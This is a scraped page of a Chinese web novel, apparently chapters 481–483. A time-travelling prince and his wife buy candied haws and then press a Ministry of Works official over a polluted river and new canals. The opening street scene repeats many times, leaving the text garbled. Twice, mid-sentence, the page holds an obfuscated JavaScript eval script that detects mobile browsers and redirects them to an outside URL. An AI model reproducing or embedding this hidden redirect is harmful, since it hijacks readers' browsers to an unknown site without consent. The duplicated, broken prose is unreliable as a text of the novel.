“是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” “是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” “是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 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“世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531120|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” “是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” “是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” “是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 第482章 不如你前女友煮的挂面 京城的冬末裹着层薄霜残雪在青石板缝里瑟缩被往来行人踩出暗褐色的泥泞。 林臻握着楚惜灵的手掌心传来的温度透过狐裘袖口将寒意驱散了几分。 楚惜灵咬下半颗糖葫芦晶莹的糖壳在齿间碎裂酸甜的山楂汁迸出。 她眉眼弯成月牙淡蓝色裙裾随着步伐轻晃洁白狐裘拂过冻红的灯笼惊起几缕残雪。 “别说 她含着竹签说话声音像春溪破冰般清脆。 林臻望着她沾着糖屑的嘴角喉头微动。 他也觉得路边摊的东西做得比大酒店里好吃。 往往我们出去旅行的时候想吃点正宗的当地菜就得去那种偏僻的小破店里才行。 就像后世的京城。 各处饭馆都挂着老京城的招牌。 什么老京城炸酱面老京城豆汁老京城小龙虾饭店一个比一个大装修得一个比一个豪华结果呢? 你会发现那价值68块钱一碗的炸酱面吃起来还不如你前女友煮的挂面呢。 从那之后林臻不管去哪旅行就找那些躲在胡同里脏乱差的小餐馆。 “御膳房的东西是给宫里人吃的你们南楚不也是如此么。” “说的也是御膳房做的东西本就不好吃还是百姓做的东西好。” “百姓做的东西总是有股子亲近味儿。” 寒风卷着街角烤红薯的甜香掠过林臻压下心头涟漪正色道:“轧**机做好了没有?我已让张俪派人去蛮蒙收购了大批羊毛不日就到。而且陛下也答应了将宫里闲置宫女送来轧**这可是关乎两国长久利益的大事。” 楚惜灵睫毛轻颤杏眼亮得惊人:“早就备好了还在试用阶段。我本想先用少量羊毛试织件衣物没想到你动作这么快。” 她踮脚拂去林臻肩头雪粒指尖残留的酸甜气息混着狐裘的软绒在冷空气中漾开。 林臻眸光灼灼:“成果如何?织出来了吗?” “哪那么容易?”楚惜灵叹着气揪了揪狐裘毛领“绣娘们连羊毛衫是什么都不知道毛线只能手工慢慢纺进度慢得很。” 她说话时呼出白雾在两人之间凝成朦胧的纱。 林臻摩挲着腰间玉佩沉吟片刻道:“我去请陛下下令让宫女们都住进书院由你亲自教导。等她们学成再分散开传授技艺。这样一教十十教百武清开发区的羊毛工厂很快就能捡起来。往 后纺织羊毛便是大乾的支柱产业。” 楚惜灵猛地抬头眼底泛起水光:“若真能成大乾百姓就再也不用怕冻**。” 她握紧林臻的手指节因用力泛白:“夫君说实话去年北疆冻死百姓有三千余人我听了心里真不是滋味因为不管是南楚还是你曾经的世界里从来没出现过这样的事情。” 说到这话音戛然而止她别过脸去狐裘垂落的流苏扫过林臻手背。 林臻也忽然心情失落。 我们百姓是最淳朴的可偏偏要受这种折磨。 两人漫步行至城西小拱桥桥下溪流早解了冻却泛着浑浊的灰绿色。 腐叶与碎瓷片在水面打转岸边结着层油亮的黑冰腥臭味裹着寒气直往鼻腔里钻。 林臻皱眉捏紧了腰间革带青筋在指节间凸起:“奶奶的去年就和工部提过要清理河道维护水源的事儿今年还没动作。” 他指着下游方向几个百姓正将木桶里的屎尿秽物倾倒进河。 黄褐色的液体砸破水面惊起群灰扑扑的乌鸦。 “你看百姓就这么随意地把排泄物倒河里长此以往整条护城河都得废掉!” 林臻甩开楚惜灵的手大步就要往工部衙门方向走。 他倒要问问工部的人本世子说话还好不好使。 楚惜灵急忙追上去狐裘下摆扫过满地碎冰:“夫君!别冲动!” 她抓住林臻的衣袖淡蓝裙角扫过结冰的石阶“宋尚书现在为了全国修路的事情忙得不可开交建设大乾也不是一朝一夕的事情你可别在这个节骨眼上惹事儿。” 林臻顿住脚步转头望向楚惜灵。 她发间垂落的珍珠步摇在寒风中轻晃与眼底的坚定光芒交相辉映。 “我知道这件事情我本就交给了工部侍郎既然没做就必须得有惩罚。” 说完林臻继续往前走 远处传来更夫梆子声惊飞了栖在残柳上的寒鸦也惊破了京城冬末的死寂。 暮色将歇残雪在工部衙门的青瓦上泛着冷光。 林臻牵着楚惜灵的手踏过汉白玉阶狐裘扫过鎏金门钉惊起檐角栖息的寒鸦。 门前石板纤尘不染匾额上“工部”二字在灯笼下熠熠生辉连阶前青铜狴犴兽的利爪都擦得能映出人影。 护城河臭气熏天工部门楣一尘不染。 这不禁让林臻想起后世。 周围 破败的老旧小区和烟尘滚滚的修路施工现场簇拥着一栋巍峨壮丽的朝廷办公大楼。 朝廷的建筑永远那么完美,百姓的东西永远没人在意。 甚至上头发下来的钱、补助金等,他们除了修路就是挖沟,没有别的用处。 林臻记得自己所在的城市有一条路。 年年挖,年年修,就是修不完。 好像比修地铁都困难。 但那座偏僻的六线小城市根本就不需要地铁。 “世子!两名玄甲护卫猛地挺直腰杆,佩刀撞出清脆声响。 为首的络腮胡汉子疾步上前,抱拳时袖口扬起淡淡松香味。 “尚书大人今日去勘查南城门,侍郎孙大人正在当值。 林臻颔首示意,靴底碾过结着薄冰的地砖,发出细碎的咔嚓声。 穿过游廊时,楚惜灵的目光被廊下新刷的朱漆吸引。 漆味混着墙角梅枝的暗香,在寒风里凝成奇异的味道。 “这工部倒是也挺勤勉大嘛。她轻声调侃,指尖划过冰凉的廊柱,“连门楣都比别处鲜亮三分。 林臻冷笑,掌心攥紧她的柔荑:“金玉其外罢了,永定河的腐臭味都快飘到宫墙根了。 正堂内,黄花梨大案上摊着泛黄的舆图,狼毫笔搁在翡翠笔洗里,墨迹已干涸大半。 孙凯的青袍下摆沾着墨渍,正弓着背誊写公文,听见脚步声慌忙抬头。 看见林臻阴沉的脸色,他手中狼毫“啪嗒 “参见世子!楚夫人!孙凯踉跄着起身,官帽歪斜,险些碰倒案上的青铜博山炉。 沉香袅袅中,他额头渗出细密汗珠。 “不知世子大驾光临,有失远迎! 林臻目光扫过案头堆积的卷宗,突然抓起一份河道修缮奏折,纸张在指间发出刺耳的撕裂声:“永定河的水都臭成泔水缸了,**闻不见?去年秋猎时我怎么交代的? 孙凯双腿发软,“扑通跪坐在青砖上,**纹补服在寒风里簌簌发抖。 “世子赎罪!下官岂敢忘您的训示。十天前冰河刚解冻,下官就调了三百人疏浚河道,还在沿岸立了告示牌他抹了把额头的冷汗,声音愈发哽咽。 “可那些愚民根本不听劝!白日刚清理完,夜里又把粪便倒进去,连告示牌都被砸了! 楚惜灵轻蹙黛眉,上前搀扶起孙凯。 她的狐裘掠过他颤抖的肩膀,带起一阵若有若无的兰花香:“孙侍郎请起。 ” 孙凯被她这个动作吓得诚惶诚恐尴尬地站起来。 楚惜灵望向林臻紧绷的下颌线柔声道“夫君河道治理本就是个**工夫。若不能从根本上改变百姓习性便是派千人万人日夜清理 林臻喉头滚动将未出口的斥责咽回肚里。 他瞥见孙凯官服下摆沾着的泥浆怒意消了几分走到紫檀木椅前落座指节叩击扶手:“说说如今工部人手如何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544496|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孙凯慌忙整了整官帽亲自捧来青瓷茶盏。 茶汤里浮着两片嫩绿的龙井热气氤氲间他的声音带着几分无奈。 “不瞒世子水利这一块确实是下官主管但现在国家很大工部人手有限仅仅是辽东水利修缮就已经去了大半。如今河道巡检只剩二十人连修缮皇陵的差事都.” 楚惜灵端起茶盏轻抿忽然瞥见窗外影壁上的砖雕——那是幅“大禹治水”的图案却因年久失修大禹手中的耒耜已缺了个角。 她灵光一闪放下茶盏道:“夫君我有一计我们可以招募百姓沿河设‘净河卫’由工部发放饷银既解决人手问题又能让百姓自觉维护河道。” 林臻摩挲着腰间玉佩目光亮了起来。 可随即想象又摇了摇头:“不妥。百姓绝不能有执法权。” 林臻别的不了解还不了解百姓么?那手里但凡有一丁点权力都得想办法最大化。 别到时候河道没治理好再多制造些吃拿卡要的贪官出来。 “主意是好主意!但这个静河卫绝不能让百姓来做还是从兵马司派人吧。” 楚惜灵翻个白眼:“瞧你说的兵马司就不是百姓的孩子了?其实都一样。我们只要设立奖惩制度举报倒污者赏银屡教不改者罚修堤岸。工部再设立一个举报箱让百姓互相监督久而久之河道自然就干净了。” 也有几分道理。 林臻点点头算是同意了。 随即他忽然又想起什么转向孙凯:“对了问上次跟你提到的‘化粪池’推广得如何?” 孙凯擦了擦额角的冷汗苦笑道:“百姓嫌那玩意儿晦气说把秽物聚在一起会冲撞土地公。城西李记豆腐坊的掌柜宁可把泔水倒进河里也不愿……” “愚昧!化粪池里都是肥水到时候统一拿到田地里还能增长粮食他们懂个鸟?” 林臻猛的拍案而起震得茶盏里的水花四溅“明日起让京兆衙门配合凡拒不使用化粪池者 ,停发物资补助!我倒要看看,他们还吃不吃饭!” 盐巴他望向楚惜灵,见她正用绢帕擦拭溅到袖口的茶汤,眉眼间满是思索。 “灵儿,你可有要补充打?” 楚惜灵将湿了的绢帕叠好,忽然想起白天那个茫然的农妇。 她起身走到舆图前,纤细的指尖点在永定河支流上:“我觉得除了惩戒,更要教百姓‘利’字。鼓励他们在河边种芦苇、菖蒲,这样既能净水,又能编席换钱。” 她转身时,狐裘上的珍珠流苏晃出细碎的光。 “夫君,我突然发现一件事情。” “你说。” “大乾京城的水结冰是在十一月中旬,而解冻则是在二月。也就是说,河水结冰的时间不会超过三个月。而我们现在的物资运输方式还是马车,这样不仅运输成本高,而且运输吞吐量很小.嗯.” 楚惜灵一个吞吐量直接把孙凯说懵了。 这个词,在这个世界也就林臻能懂,他几乎是瞬间理解了楚惜灵的意思,说道:“你的意思是说,挖几条运河,促进京城漕运?” “对,如果能有四条运河贯穿京城,那吞吐量将会大大增加,而且成本也会大大降低。” “好主意,四条运河分别去往不同的方向,连接几条宽敞的大河,这样不管是东西南北的货物就都能自由进出京城,贸易量成倍增长。而且也能给来京城找工作的壮丁一份活计,解决就业难题。” “没错!” 林臻望着舆图,说道:“那就从永定河开始。孙凯,你立刻发布招工告示,扩宽永定河,把河上的矮桥一个一个全部拆掉,重新修建,费用我和国库各出一半。” “夫君不可!”楚惜灵连忙阻止,“我们这样做就相当于是在做慈善,再有钱也不能这么花!” 林臻鬼魅一笑:“呵呵呵,夫人放心,我对赚钱这种事情还是很有心得的。” 第483章 火灾 夕阳的余晖透过工部衙门正堂的雕花窗棂,将金砖地面染成一片暖橘。 楚惜灵斜倚在紫檀木椅上,淡蓝色的长裙如流水般垂落在椅边,洁白的狐裘随意地搭在肩头,发间的珍珠步摇随着她的动作轻轻晃动。 她望着正在舆图前踱步的林臻,眼波流转间,翻了个风情万种的白眼,朱唇轻启。 “你该不会又想收过路费吧?后世那套算是被你玩明白了。” 林臻闻言停下脚步,嘴角勾起一抹狡黠的笑。 墨色长袍在晚风中扬起一角。 “当然!大路上车马都收过路费,船只更没可能不收。我们在城里建几座装卸码头,在水道进城的时候按照货物体量收税,税款归朝廷,也算日后国库的进项;过路费就按船只大小来收,收上来的归我个人所有。” 这可是货运码头啊。 虽然不算大,但长远来看绝对是百里无一害,而且有大笔的利润可以赚。 钱这种东西就是用来花的,花没了再赚,生生不息。 